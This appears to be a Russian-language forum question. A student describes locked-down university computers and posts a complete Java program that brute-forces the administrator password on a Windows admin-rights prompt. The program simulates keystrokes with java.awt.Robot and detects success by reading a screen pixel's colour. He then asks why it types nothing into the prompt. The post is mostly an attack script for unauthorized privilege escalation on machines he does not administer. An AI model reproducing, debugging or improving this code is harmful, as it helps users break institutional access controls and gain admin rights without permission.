Robot не хочет работать когда запущено окно запроса прав администратора
В вузе у нас - рядовых пользователей на компах ограниченный функционал, сис админ запретил буквально всё, даже разрешение экрана поменять нельзя, я решил написать на Java программу брутфорса паролей
private static int backgroundColor; // ЦВЕТ ФОНА ПРИ ОКНЕ ЗАПРОСА ПРАВ АДМИНИСТРАТОРА (ПОДОБРАЛ ОПЫТНЫМ ПУТЁМ И ПРОВЕРИЛ)
private static String ALPHABET; // АЛФАВИТ СИМВОЛОВ ИЗ КОТОРЫХ БУДЕТ ПЕРЕБИРАТЬСЯ ПАРОЛЬ
public static void main(String[] args){
ALPHABET = "0123456789";
int length = 1; // ДЛИНА ПАРОЛЯ
try{
hack(length); // ВЫЗЫВАЕМ МЕТОД ПОДБИРАЮЩИЙ ПАРОЛИ С ЗАДАННОЙ ДЛИННОЙ
} catch(Exception e){
System.out.print("Error"); // ПРИ КАКОМ ЛИБО СБОЕ
}
}
private static void hack(int length) throws Exception{
Thread.sleep(7000); // ВРЕМЯ ДЛЯ ТОГО ЧТО-БЫ УСПЕТЬ ПОСЛЕ ЗАПУСКА ОТКРЫТЬ ЧТО ТО - ЧТО ТРЕБУЕТ АДМИНКИ И ДЛЯ ВВОДА ЛОГИНА, ПОСЛЕ ЧЕГО НАЧНЁТСЯ ПЕРЕБОР
Robot robot = new Robot(); // ОБЪЕКТ, ИМИТИРУЮЩИЙ НАЖАТИЯ
backgroundColor = -16777216; // КОД ЦВЕТА ФОНА ПРИ ОТКРЫТОМ ОКНЕ ЗАПРОСА АДМИНКИ
brutForce("",length, robot); // ВЫЗОВ МЕТОДА ПЕРЕБОРА ПАРОЛЕЙ
}
private static void brutForce(String str, int length, Robot robot) throws Exception{ // РЕКУРСИВНАЯ ФУНКЦИЯ ПЕРЕБИРАЮЩАЯ ПАРОЛИ
if(str.length() == length) tryToLogin(str, robot); // ЕСЛИ ДЛИНА ПОДАВАЕМОГО ЗНАЧЕНИЯ РАВНА ЗАДАННОЙ ПОЛЬЗОВАТЕЛЕМ ДЛИНЕ ПАРОЛЯ, ВЫЗЫВАЕМ ФУНКЦИЮ ПОПЫТКИ ВХОДА С ДАННЫМ ПОДОБРАННЫМ ПАРОЛЕМ(СТОП-УСЛОВИЕ РЕКУРСИИ)
else {
for(char s : ALPHABET.toCharArray()){
brutForce(str+s, length, robot); // ИНАЧЕ ДАЛЬШЕ УГЛУБЛЯЕМСЯ В РЕКУРСИЮ, ПРИ ЭТОМ ДОБАВЛЯЯ К УЖЕ НЕ ДО КОНЦА СГЕНЕРИРОВАННОМУ ПАРОЛЮ ВСЕ ВОЗМОЖНЫЕ ВАРИАНТЫ
}
}
}
private static void tryToLogin(String password, Robot robot) throws Exception{
Thread.sleep(30); // ВРЕМЯ ЗАДЕРЖКИ(ЧТОБ ПАРОЛИ НЕ МОМЕНТАЛЬНО ПРОБОВАЛИСЬ)
wordType(robot, password); //ВВОД ПАРОЛЯ
robot.keyPress(KeyEvent.VK_ENTER); // *
robot.keyRelease(KeyEvent.VK_ENTER); // * НАЖАТИЕ НА ENTER (ПРОБКЕМ ПАРОЛЬ)
if(!isAdminWindow()) System.out.println("Found!!! "+password); // ЕСЛИ ЦВЕТ ФОНА ИЗМЕНИЛСЯ - МЫ ВЫШЛИ ИЗ ОКНА, А ЗНАЧИТ ВВЕЛИ ПРАВИЛЬНЫЙ ПАРОЛЬ - ВЫВОДИМ ЕГО
}
private static boolean isAdminWindow() throws Exception{
Robot r = new Robot();
BufferedImage eq = r.createScreenCapture(new Rectangle(0,0,100,100));
return eq.getRGB(20,20) == backgroundColor; // ПРОВЕРЯЕМ ЦВЕТ ПИКСЕЛЯ С КООРДИНАТАМИ (20,20) С ПОДОБРАННЫМ РАНЕЕ ОПЫТНЫМ ПУТЁМ, ЦВЕТОМ ФОНА
}
private static void wordType(Robot robot, String str){ // ПЕЧАТАЕТ СЛОВО, МОМЕНТАЛЬНО ПО ОЧЕРЕДИ ПЕЧАТАЯ КАЖДУЮ БУКВУ
HashMap<Character, Integer> keyCods = new HashMap<>(); // КОЛЛЕКЦИЯ КОДОВ КЛАВИШ ПО ИХ СИМВОЛУ
keyCods.put('0',KeyEvent.VK_0);
keyCods.put('1',KeyEvent.VK_1);
keyCods.put('2',KeyEvent.VK_2);
keyCods.put('3',KeyEvent.VK_3);
keyCods.put('4',KeyEvent.VK_4);
keyCods.put('5',KeyEvent.VK_5);
keyCods.put('6',KeyEvent.VK_6);
keyCods.put('7',KeyEvent.VK_7);
keyCods.put('8',KeyEvent.VK_8);
keyCods.put('9',KeyEvent.VK_9);
char[] symbols = str.toCharArray();
for(char current_symbol : symbols){
robot.keyPress(keyCods.get(current_symbol));
robot.keyRelease(keyCods.get(current_symbol));
}
}
И она работает! везде где можно печатать, она печатает, работает... Везде, но только не там где надо, когда я её запускаю, у меня есть 7 секунд чтоб открыть окно запроса прав администратора и ввести логин, я всё быстренько сделал, сижу жду.. и ничего, программа не сделала ни одной попытки ввода и закрылась, никаких сообщений об ошибке я не получал
С чем это может быть связанно???